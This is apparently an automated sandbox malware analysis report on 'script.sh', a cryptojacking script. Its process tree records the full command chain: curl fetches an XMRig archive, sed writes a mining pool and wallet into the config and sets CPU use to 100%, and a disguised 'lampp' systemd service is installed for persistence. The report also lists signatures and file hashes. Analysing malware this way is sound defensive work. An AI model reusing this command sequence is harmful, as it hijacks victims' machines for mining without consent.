Analysis

  • max time kernel
    2s
  • max time network
    134s
  • platform
    ubuntu-20.04_amd64
  • resource
    ubuntu2004-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2004-amd64-20240611-enkernel:5.4.0-169-genericlocale:en-usos:ubuntu-20.04-amd64system
  • submitted
    01-07-2024 12:19

General

  • Target

    script.sh

  • Size

    8KB

  • MD5

    97423634cc1762b2f010cb860e7fb47d

  • SHA1

    2f50775e8fe9ab98a80f06d835c5874091bf0b3e

  • SHA256

    d97530313d2423ba8c3e87ccd3d66e6cd77997d26bbb4d1dd2a5f32827dde8cd

  • SHA512

    bd5279178f713edaca1754937a859fa41dbec1fdd15c8ad3cb11894142e389d97bf3ca7f0402c018a616053b1121650ed609498a4b34c4def829e02924f6de1f

  • SSDEEP

    192:fFa1ZIJvH8czpCyzdpB3f1SAij8E3YUNvmTC8KfbmP/oYv0Yd:fEHexC+HSAHE3YUN+TC8SbmQUfd

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Executes dropped EXE 1 IoCs
  • Reads EFI boot settings 3 IoCs

    Reads EFI boot settings from the efivars filesystem, may contain security secrets or sensitive data.

  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 45 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 25 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/script.sh
    /tmp/script.sh
    1⤵
    • Writes file to tmp directory
    PID:1397
    • /usr/bin/cut
      cut -f1 -d.
      2⤵
        PID:1400
      • /usr/bin/nproc
        nproc
        2⤵
          PID:1401
        • /usr/bin/bc
          bc -l
          2⤵
            PID:1404
          • /usr/bin/curl
            curl -L --progress-bar https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.tar.gz -o /tmp/xmrig.tar.gz
            2⤵
            • Writes file to tmp directory
            PID:1405
          • /usr/bin/mkdir
            mkdir /root/lampp
            2⤵
              PID:1410
            • /usr/bin/tar
              tar xf /tmp/xmrig.tar.gz -C /root/lampp
              2⤵
              • Reads runtime system information
              PID:1411
              • /usr/local/sbin/gzip
                gzip -d
                3⤵
                  PID:1412
                • /usr/local/bin/gzip
                  gzip -d
                  3⤵
                    PID:1412
                  • /usr/sbin/gzip
                    gzip -d
                    3⤵
                      PID:1412
                    • /usr/bin/gzip
                      gzip -d
                      3⤵
                        PID:1412
                    • /usr/bin/rm
                      2⤵
                        PID:1413
                      • /usr/bin/sed
                        2⤵
                          PID:1414
                        • /root/lampp/xmrig
                          2⤵
                          • Executes dropped EXE
                          • Checks hardware identifiers (DMI)
                          • Reads hardware information
                          • Checks CPU configuration
                          • Reads CPU attributes
                          • Enumerates kernel/hardware configuration
                          • Reads runtime system information
                          PID:1415
                        • /usr/bin/sed
                          2⤵
                          • Reads runtime system information
                          PID:1420
                        • /usr/bin/cut
                          2⤵
                            PID:1419
                          • /usr/bin/hostname
                            2⤵
                              PID:1418
                            • /usr/bin/sed
                              sed -i "s/\"url\": *\"[^\"]*\",/\"url\": \"gulf.moneroocean.stream:10001\",/" /root/lampp/config.json
                              2⤵
                                PID:1421
                              • /usr/bin/sed
                                sed -i "s/\"user\": *\"[^\"]*\",/\"user\": \"47zZneDdPNr63HM9ubMyrhYvLNbDunCkiia6fNCvQkThNuK6rrj59e3Y2nNF3ETeewbALAGYaiti4SF4ENwJ8bR7PKXXcMN\",/" /root/lampp/config.json
                                2⤵
                                  PID:1422
                                • /usr/bin/sed
                                  sed -i "s/\"pass\": *\"[^\"]*\",/\"pass\": \"ubuntu2004-amd64-20240611-en-2\",/" /root/lampp/config.json
                                  2⤵
                                    PID:1423
                                  • /usr/bin/sed
                                    sed -i "s/\"max-cpu-usage\": *[^,]*,/\"max-cpu-usage\": 100,/" /root/lampp/config.json
                                    2⤵
                                      PID:1424
                                    • /usr/bin/sed
                                      sed -i "s/\"max-threads-hint\": *[^,]*,/\"max-threads-hint\": 100,/" /root/lampp/config.json
                                      2⤵
                                        PID:1425
                                      • /usr/bin/sed
                                        sed -i "s#\"log-file\": *null,#\"log-file\": \"/root/lampp/xmrig.log\",#" /root/lampp/config.json
                                        2⤵
                                          PID:1426
                                        • /usr/bin/sed
                                          sed -i "s/\"syslog\": *[^,]*,/\"syslog\": true,/" /root/lampp/config.json
                                          2⤵
                                            PID:1427
                                          • /usr/bin/cp
                                            cp /root/lampp/config.json /root/lampp/config_background.json
                                            2⤵
                                            • Reads runtime system information
                                            PID:1428
                                          • /usr/bin/sed
                                            sed -i "s/\"background\": *false,/\"background\": true,/" /root/lampp/config_background.json
                                            2⤵
                                              PID:1429
                                            • /usr/bin/cat
                                              cat
                                              2⤵
                                                PID:1430
                                              • /usr/bin/chmod
                                                chmod +x /root/lampp/miner.sh
                                                2⤵
                                                  PID:1431
                                                • /usr/bin/sudo
                                                  sudo -n true
                                                  2⤵
                                                    PID:1432
                                                    • /usr/bin/true
                                                      true
                                                      3⤵
                                                        PID:1433
                                                    • /usr/bin/awk
                                                      awk "{print \$2}"
                                                      2⤵
                                                        PID:1436
                                                      • /usr/bin/grep
                                                        grep MemTotal /proc/meminfo
                                                        2⤵
                                                          PID:1435
                                                        • /usr/bin/cat
                                                          cat
                                                          2⤵
                                                            PID:1437
                                                          • /usr/bin/sudo
                                                            sudo mv /tmp/lampp.service /etc/systemd/system/lampp.service
                                                            2⤵
                                                            • Reads runtime system information
                                                            PID:1438
                                                            • /usr/bin/mv
                                                              mv /tmp/lampp.service /etc/systemd/system/lampp.service
                                                              3⤵
                                                              • Reads runtime system information
                                                              PID:1439
                                                          • /usr/bin/sudo
                                                            sudo killall xmrig
                                                            2⤵
                                                            • Reads runtime system information
                                                            PID:1440
                                                            • /usr/bin/killall
                                                              killall xmrig
                                                              3⤵
                                                              • Reads runtime system information
                                                              PID:1441
                                                          • /usr/bin/sudo
                                                            sudo systemctl daemon-reload
                                                            2⤵
                                                              PID:1442
                                                              • /usr/bin/systemctl
                                                                systemctl daemon-reload
                                                                3⤵
                                                                • Reads EFI boot settings
                                                                • Enumerates kernel/hardware configuration
                                                                • Reads runtime system information
                                                                PID:1443
                                                            • /usr/bin/sudo
                                                              sudo systemctl enable lampp.service
                                                              2⤵
                                                              • Reads runtime system information
                                                              PID:1511
                                                              • /usr/bin/systemctl
                                                                systemctl enable lampp.service
                                                                3⤵
                                                                • Reads EFI boot settings
                                                                • Enumerates kernel/hardware configuration
                                                                • Reads runtime system information
                                                                PID:1521
                                                            • /usr/bin/sudo
                                                              sudo systemctl start lampp.service
                                                              2⤵
                                                              • Reads runtime system information
                                                              PID:1547
                                                              • /usr/bin/systemctl
                                                                systemctl start lampp.service
                                                                3⤵
                                                                • Reads EFI boot settings
                                                                • Enumerates kernel/hardware configuration
                                                                • Reads runtime system information
                                                                PID:1548

                                                          Network

                                                          MITRE ATT&CK Enterprise v15

                                                          Replay Monitor

                                                          Loading Replay Monitor...

                                                          Downloads

                                                          • /root/lampp/config.json

                                                            Filesize

                                                            2KB

                                                            MD5

                                                            f3294129e6b76283965ad86a815bf383

                                                            SHA1

                                                            5fe0ab538f86962efe82cb13fc2da745610740af

                                                            SHA256

                                                            578386126ae451940ff5c21ce95b4e3be85c2d33160d6e739ed0ebbd206c7e81

                                                            SHA512

                                                            07a280be17282096ed8c319623d2e02e088e80d69e3d6d24ecaef5bedf624d006dc4963b8b1a6c0569a3c9221786bfd7cd462dddebcfcbed7879fd994b4c8333

                                                          • /root/lampp/sedRL4zDM

                                                            Filesize

                                                            2KB

                                                            MD5

                                                            942c1a0410b66acfd735045067980dda

                                                            SHA1

                                                            0a945f9aababbac51c6788e145d5ffdca6ee4a35

                                                            SHA256

                                                            91ca7494184471893a40459b268fd2ac27411ebcb90bfe777288d5cf6bd21ef5

                                                            SHA512

                                                            4a33b3bb6a8db96cb960a3ff00b2c6c0ecdfb8741245adf43d0f2d3a3765ffa798f4d52fdcefb9ce48235d7cb350afdc4d83d02bce85c818214cf21b8317af6d

                                                          • /root/lampp/sedbnIm9h

                                                            Filesize

                                                            2KB

                                                            MD5

                                                            df5b68c5e91e2f3d376b401c267d4a60

                                                            SHA1

                                                            e26a0ee15b50c543644e72405fac3cfe6b43c1b9

                                                            SHA256

                                                            96f93d316fdc16f049a3ec8f786134e6acc272580c21e81737a8d2b1201b3b6e

                                                            SHA512

                                                            d8fab4fc2d8dc2e50f82fbd304515f69029f5d8c056b3c73df142d48627f9a1d09564f23a5b0e96530d3cd28fc961f775062dcb7d5f95229fd9fc5892d087a70

                                                          • /root/lampp/sediPLNs8

                                                            Filesize

                                                            2KB

                                                            MD5

                                                            84759dc90593121e8d5147bdedc8e120

                                                            SHA1

                                                            d92bb7c2f0f525bfd9bd14caba0b303dbf7a6644

                                                            SHA256

                                                            fc50925fd3b4a2d71314eae8e6751529854699715620d071cd086b41640a5f85

                                                            SHA512

                                                            3d4a536e2f98a46d5ab1414a8977dd48935f1e61d49c44c56ca2deeccee539af6d118f9480ffc3eb9b3ce034f39a3a9763766254d15eb70b88046cdc4728268c

                                                          • /root/lampp/sedvVLPKJ

                                                            Filesize

                                                            2KB

                                                            MD5

                                                            8b11b027dd187104473ee7d661ffe25f

                                                            SHA1

                                                            ec46117e3b0c2ce9f7fe60ac51eb1861c49e97ef

                                                            SHA256

                                                            984513d85c8a81fbca982bd8c81a73344f39a4fe46bd9b982ed85c0ff6d1030f

                                                            SHA512

                                                            1078b6b53897534be9f070454b8545f8075017025f9252175cfc6651c7eb11a906230558daa22a1086790f5fd5fed43b9b1909b044c70fafae9aba2d99381ea2

                                                          • /root/lampp/sedxOFXDF

                                                            Filesize

                                                            2KB

                                                            MD5

                                                            d489ddbbb83271e967b8af615d17d3c7

                                                            SHA1

                                                            f0394a367a60e9727269882154098dec802774ef

                                                            SHA256

                                                            5cf89bb7fbef53cc5fbe582017145aa148ad8a8abc5bceee9f887ba4a6fcc46e

                                                            SHA512

                                                            aba9bf29076f1d5b6e81c83e5be1cee5934d23db9093ec3ea8b4d92b521e37e58d80aaea6248dc211544574f3772df990950b9236f40e863a76220f86b157954

                                                          • /root/lampp/sedyyNAX0

                                                            Filesize

                                                            2KB

                                                            MD5

                                                            a8e6f92b47843316834b71de4e99032a

                                                            SHA1

                                                            09540c17460935fe9508e6c0d8a522afb6c29248

                                                            SHA256

                                                            4c4044184a59f857ecd275ab6612bb44f1b4b14cbfc98c51cf507c6c07c7e2a3

                                                            SHA512

                                                            331deadb0e5ac86404174b1435f75f63ae1340d1a11db4413b1c31eb4f6a20dee346c94b00c7a0a17595653a2c21c65edcf4df2672279c731d4fab602c6dd5e9

                                                          • /root/lampp/xmrig

                                                            Filesize

                                                            8.4MB

                                                            MD5

                                                            c16d702e48edd7a255b950a048a6d11f

                                                            SHA1

                                                            e174c06b7109da71556d0af7bd542198c925e3b1

                                                            SHA256

                                                            7484aaeeb23a40e94fa2b701b5063f075cf95eb55cd1b273268236a5a81571d0

                                                            SHA512

                                                            7ed21c8afb1f48236110d2efaec99a15620852124a66dfc8db2d96c70134b514a517d4f8d5a267041bbf49829bf826f8fd36589f58a6e1fe2a2c737d83d55a24

                                                          • /tmp/lampp.service

                                                            Filesize

                                                            177B

                                                            MD5

                                                            540c899b78585827e807a62f7345eaf5

                                                            SHA1

                                                            8bf3146889c6b15811f226bff9fbca24d184eff2

                                                            SHA256

                                                            b32af10b7911d7113a1fe52ef467e7f123fb26552cae752ba52aef684b301fcf

                                                            SHA512

                                                            0aac2aced9505d1bde7d6c2fb6166a341982e9a170e7f0f72ede35c1305c4519e2fb07a7658558b41ad319c3d102f07d667a8769ff659b6392c81698d278af46

                                                          • /tmp/sh-thd.peo7hj

                                                            Filesize

                                                            253B

                                                            MD5

                                                            f96a321a262287ceae164f23f232ed9c

                                                            SHA1

                                                            d1eeab41f244b42377afd7cc3de7428736162b24

                                                            SHA256

                                                            f572e87f0fc93c5a62023a572cf4c797c942d7618167752779854d6f73efa012

                                                            SHA512

                                                            75fc451b1f3138dbecd907ba5af2246884582190f85b4f574a99696439a3d6839c34a9310d21d206148870c7e6e7604a7ebd8bbd23406c57c6c6346fcb9cc86e

                                                          • /tmp/xmrig.tar.gz

                                                            Filesize

                                                            3.4MB

                                                            MD5

                                                            e003a3ec8bdd61151a61cadf950502c4

                                                            SHA1

                                                            2606bd45a8d45092c7d2c0ac9d6e92ec7ef7950e

                                                            SHA256

                                                            80b1dc6f56a95273420dc96e837d7e1a9f42c057e319dadac0cccee4425319e0

                                                            SHA512

                                                            ef80c71d8b0d09128abf9e67fe12a8cd843500419da43e7a284e016029391d826c503aeec3073a2b3d7d90ba24f18990edf6965cd38a270bbe57f20c6be022f9